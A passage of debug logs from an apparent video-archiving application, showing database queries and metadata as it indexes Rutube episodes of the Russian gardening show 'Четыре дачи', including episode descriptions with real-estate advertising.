Елена из Гатчинского района встретит участников на фазенде «зелёный сад». Как соперники оценят гостеприимство друг друга, узнаем из программы «Четыре дачи».", "Четыре дачи: Ленинградская область 2", "bf87c1e26ab617bf5a7deaa8cc4f200a", 4282, false, "https://rutube.ru/video/bf87c1e26ab617bf5a7deaa8cc4f200a/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e091600 - Четыре дачи: Ленинградская область 2.mp4", false, 5, ~U[2023-09-16 07:30:13Z]] 11:14:55.553 [debug] QUERY OK source="sources" db=35.1ms queue=0.2ms idle=545.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:55.555 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=580.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:55.556 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=581.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44613] 11:14:55.558 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. На Домклик большое количество удобных фильтров для поиска квартиры: от этажности до вида из окна и высоты потолков.\nhttps://bit.ly/44Op1Tc\n\nДачники Московской области готовы поделиться со своими конкурентами лайфхаками. Елена из Ногинска пригласит участников на гуманную дачу. Анастасия из Ступино покажет, как устроена её дача «4 стихии». Во Фряново Константин будет удивлять своей экспериментальной дачей. А четвёртая участница Анастасия порадует гостей дачей в национальном парке Завидово. Смотрите программу «Четыре дачи»!", "duration" => 4293, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e092300 - Четыре дачи: Московская область 2.mp4", "id" => "73fc21a9acb9b2f73baf09a2bf7788cf", "original_url" => "https://rutube.ru/video/73fc21a9acb9b2f73baf09a2bf7788cf/", "playlist_index" => 8, "timestamp" => 1695454213, "title" => "Четыре дачи: Московская область 2", "upload_date" => "20230923"} 11:14:55.560 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=440.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:55.562 [debug] QUERY OK source="sources" db=1.0ms idle=44.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:55.565 [debug] QUERY OK source="media_items" db=2.8ms idle=9.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-23 07:30:13Z], 5] 11:14:56.036 [debug] QUERY OK source="media_items" db=469.2ms idle=12.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. На Домклик большое количество удобных фильтров для поиска квартиры: от этажности до вида из окна и высоты потолков.\nhttps://bit.ly/44Op1Tc\n\nДачники Московской области готовы поделиться со своими конкурентами лайфхаками. Елена из Ногинска пригласит участников на гуманную дачу. Анастасия из Ступино покажет, как устроена её дача «4 стихии». Во Фряново Константин будет удивлять своей экспериментальной дачей. А четвёртая участница Анастасия порадует гостей дачей в национальном парке Завидово. Смотрите программу «Четыре дачи»!", "Четыре дачи: Московская область 2", "f5b4fba4-1024-4114-a5bf-d2d1c87adf91", "73fc21a9acb9b2f73baf09a2bf7788cf", 4293, false, "https://rutube.ru/video/73fc21a9acb9b2f73baf09a2bf7788cf/", 8, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e092300 - Четыре дачи: Московская область 2.mp4", false, false, false, 5, [], 1, ~U[2023-09-23 07:30:13Z], ~U[2025-12-09 08:14:55Z], ~U[2025-12-09 08:14:55Z], "Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. На Домклик большое количество удобных фильтров для поиска квартиры: от этажности до вида из окна и высоты потолков.\nhttps://bit.ly/44Op1Tc\n\nДачники Московской области готовы поделиться со своими конкурентами лайфхаками. Елена из Ногинска пригласит участников на гуманную дачу. Анастасия из Ступино покажет, как устроена её дача «4 стихии». Во Фряново Константин будет удивлять своей экспериментальной дачей. А четвёртая участница Анастасия порадует гостей дачей в национальном парке Завидово. Смотрите программу «Четыре дачи»!", "Четыре дачи: Московская область 2", "73fc21a9acb9b2f73baf09a2bf7788cf", 4293, false, "https://rutube.ru/video/73fc21a9acb9b2f73baf09a2bf7788cf/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e092300 - Четыре дачи: Московская область 2.mp4", false, 5, ~U[2023-09-23 07:30:13Z]] 11:14:56.079 [debug] QUERY OK source="sources" db=40.0ms queue=0.2ms idle=482.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:56.083 [debug] QUERY OK source="media_profiles" db=1.6ms queue=0.1ms idle=520.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:56.085 [debug] QUERY OK source="media_items" db=1.4ms idle=521.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44614] 11:14:56.086 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. Отслеживайте ход строительства новостройки и следите за тем, как меняется стоимость квартиры в жилом комплексе на Домклик. \nhttps://bit.ly/44Hg1iQ\n\nДействительно ли Калужская область является самым томатным регионом? Вадим Абрамов отправится в гости к четырём дачницам, чтобы выяснить это. Соня из Малоярославца пригласит ведущего и участниц на свою дачу суперженщины. В деревне Шопино Вера покажет свою дачу красоты. Ольга будет встречать конкурентов на своей эмоциональной фазенде в Совьяках. А Лариса из Калуги похвастается урожаем на своей сортовой даче. Кто окажется самым гостеприимным, узнаем из программы «Четыре дачи».", "duration" => 4200, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e093000 - Четыре дачи: Калужская область.mp4", "id" => "e8bda49b71d1dfe14d50c290df94c33e", "original_url" => "https://rutube.ru/video/e8bda49b71d1dfe14d50c290df94c33e/", "playlist_index" => 9, "timestamp" => 1696059012, "title" => "Четыре дачи: Калужская область", "upload_date" => "20230930"} 11:14:56.089 [debug] QUERY OK source="sources" db=1.7ms queue=0.3ms idle=521.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:56.091 [debug] QUERY OK source="sources" db=0.7ms idle=53.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:56.097 [debug] QUERY OK source="media_items" db=5.6ms idle=11.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-30 07:30:12Z], 5] 11:14:56.754 [debug] QUERY OK source="media_items" db=655.8ms queue=0.1ms idle=14.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. Отслеживайте ход строительства новостройки и следите за тем, как меняется стоимость квартиры в жилом комплексе на Домклик. \nhttps://bit.ly/44Hg1iQ\n\nДействительно ли Калужская область является самым томатным регионом? Вадим Абрамов отправится в гости к четырём дачницам, чтобы выяснить это. Соня из Малоярославца пригласит ведущего и участниц на свою дачу суперженщины. В деревне Шопино Вера покажет свою дачу красоты. Ольга будет встречать конкурентов на своей эмоциональной фазенде в Совьяках. А Лариса из Калуги похвастается урожаем на своей сортовой даче. Кто окажется самым гостеприимным, узнаем из программы «Четыре дачи».", "Четыре дачи: Калужская область", "43ab2ff7-085b-4477-a22b-d7ddcd9bd52c", "e8bda49b71d1dfe14d50c290df94c33e", 4200, false, "https://rutube.ru/video/e8bda49b71d1dfe14d50c290df94c33e/", 9, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e093000 - Четыре дачи: Калужская область.mp4", false, false, false, 5, [], 1, ~U[2023-09-30 07:30:12Z], ~U[2025-12-09 08:14:56Z], ~U[2025-12-09 08:14:56Z], "Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. Отслеживайте ход строительства новостройки и следите за тем, как меняется стоимость квартиры в жилом комплексе на Домклик. \nhttps://bit.ly/44Hg1iQ\n\nДействительно ли Калужская область является самым томатным регионом? Вадим Абрамов отправится в гости к четырём дачницам, чтобы выяснить это. Соня из Малоярославца пригласит ведущего и участниц на свою дачу суперженщины. В деревне Шопино Вера покажет свою дачу красоты. Ольга будет встречать конкурентов на своей эмоциональной фазенде в Совьяках. А Лариса из Калуги похвастается урожаем на своей сортовой даче. Кто окажется самым гостеприимным, узнаем из программы «Четыре дачи».", "Четыре дачи: Калужская область", "e8bda49b71d1dfe14d50c290df94c33e", 4200, false, "https://rutube.ru/video/e8bda49b71d1dfe14d50c290df94c33e/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e093000 - Четыре дачи: Калужская область.mp4", false, 5, ~U[2023-09-30 07:30:12Z]] 11:14:56.792 [debug] QUERY OK source="sources" db=36.4ms queue=0.1ms idle=666.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:56.795 [debug] QUERY OK source="media_profiles" db=1.3ms queue=0.8ms idle=701.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:56.797 [debug] QUERY OK source="media_items" db=1.3ms idle=698.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44615] 11:14:56.797 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. На Домклик легко выбрать недвижимость, оформить ипотеку от Сбербанка и получить одобрение онлайн всего за несколько минут. \nhttps://bit.ly/3RkV3TA\n\nДачники Ставропольского края посоревнуются друг с другом. Елена из Пятигорска пригласит конкурентов на свою самобытную фазенду. В хуторе Средний Ирина покажет трудолюбивую дачу. Евгений и Галина из Ставрополя будут рады видеть гостей на даче поколений. А Татьяна из посёлка Иноземцево развлечёт участников на своей позитивной даче. Как вырастить богатый урожай, подскажет программа «Четыре дачи».", "duration" => 4442, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e100700 - Четыре дачи: Ставропольский край.mp4", "id" => "43019c85c8c4212a89d68e79a4492c85", "original_url" => "https://rutube.ru/video/43019c85c8c4212a89d68e79a4492c85/", "playlist_index" => 10, "timestamp" => 1696663815, "title" => "Четыре дачи: Ставропольский край", "upload_date" => "20231007"} 11:14:56.799 [debug] QUERY OK source="sources" db=1.5ms idle=598.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:56.802 [debug] QUERY OK source="sources" db=2.2ms queue=0.4ms idle=46.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:56.803 [debug] QUERY OK source="media_items" db=0.6ms idle=10.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-07 07:30:15Z], 5] 11:14:57.243 [debug] QUERY OK source="media_items" db=438.8ms idle=9.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. На Домклик легко выбрать недвижимость, оформить ипотеку от Сбербанка и получить одобрение онлайн всего за несколько минут. \nhttps://bit.ly/3RkV3TA\n\nДачники Ставропольского края посоревнуются друг с другом. Елена из Пятигорска пригласит конкурентов на свою самобытную фазенду. В хуторе Средний Ирина покажет трудолюбивую дачу. Евгений и Галина из Ставрополя будут рады видеть гостей на даче поколений. А Татьяна из посёлка Иноземцево развлечёт участников на своей позитивной даче. Как вырастить богатый урожай, подскажет программа «Четыре дачи».", "Четыре дачи: Ставропольский край", "47af8997-6782-4c4e-9c43-a3ce7d01a121", "43019c85c8c4212a89d68e79a4492c85", 4442, false, "https://rutube.ru/video/43019c85c8c4212a89d68e79a4492c85/", 10, "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e100700 - Четыре дачи: Ставропольский край.mp4", false, false, false, 5, [], 1, ~U[2023-10-07 07:30:15Z], ~U[2025-12-09 08:14:56Z], ~U[2025-12-09 08:14:56Z], "Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. На Домклик легко выбрать недвижимость, оформить ипотеку от Сбербанка и получить одобрение онлайн всего за несколько минут. \nhttps://bit.ly/3RkV3TA\n\nДачники Ставропольского края посоревнуются друг с другом. Елена из Пятигорска пригласит конкурентов на свою самобытную фазенду. В хуторе Средний Ирина покажет трудолюбивую дачу. Евгений и Галина из Ставрополя будут рады видеть гостей на даче поколений. А Татьяна из посёлка Иноземцево развлечёт участников на своей позитивной даче. Как вырастить богатый урожай, подскажет программа «Четыре дачи».", "Четыре дачи: Ставропольский край", "43019c85c8c4212a89d68e79a4492c85", 4442, false, "https://rutube.ru/video/43019c85c8c4212a89d68e79a4492c85/", "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e100700 - Четыре дачи: Ставропольский край.mp4", false, 5, ~U[2023-10-07 07:30:15Z]] 11:14:57.281 [debug] QUERY OK source="sources" db=36.6ms idle=444.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:57.282 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=479.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:14:57.285 [debug] QUERY OK source="media_items" db=2.3ms idle=479.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44616] 11:14:57.289 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре дачи – суббота 13:00\n\nДомклик – сервис недвижимости номер один. Домклик предоставляет полный цикл от выбора жилья до оформления ипотеки и безопасного проведения сделки с недвижимостью. https://bit.ly/464RJAc\n\nДачный сезон завершается в Краснодарском крае. Виталий из села Индюк приглашает на свою клубную дачу. Екатерина из города Тимашевск встретит гостей в своём «восточном саду». Людмила из станицы Варениковской покажет, как выглядит её семейный оазис. А Оксана из села Варваровка позовёт дачников на свою королевскую фазенду. Смотрите программу «Четыре дачи»!", "duration" => 4513, "filename" => "/downloads/rutubeShows/4 ДАЧИ/Season 2023/s2023e101400 - Четыре дачи: Краснодарский край.mp4", "id" => "852669a0574e083d351d34f89f45cd4e", "original_url" => "https://rutube.ru/video/852669a0574e083d351d34f89f45cd4e/", "playlist_index" => 11, "timestamp" => 1697268613, "title" => "Четыре дачи: Краснодарский край", "upload_date" => "20231014"} 11:14:57.294 [debug] QUERY OK source="sources" db=2.8ms queue=1.6ms idle=46.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 11:14:57.299 [debug] QUERY OK source="sources" db=2.7ms idle=14.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 11:14:57.302 [debug] QUERY OK source="media_items" db=1.1ms idle=18.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-14 07:30:13Z], 5] 11:14:57.783 [debug] QUERY OK source="media_items" db=480.0ms idle=19.7ms INSERT INTO "media_items" AS m0 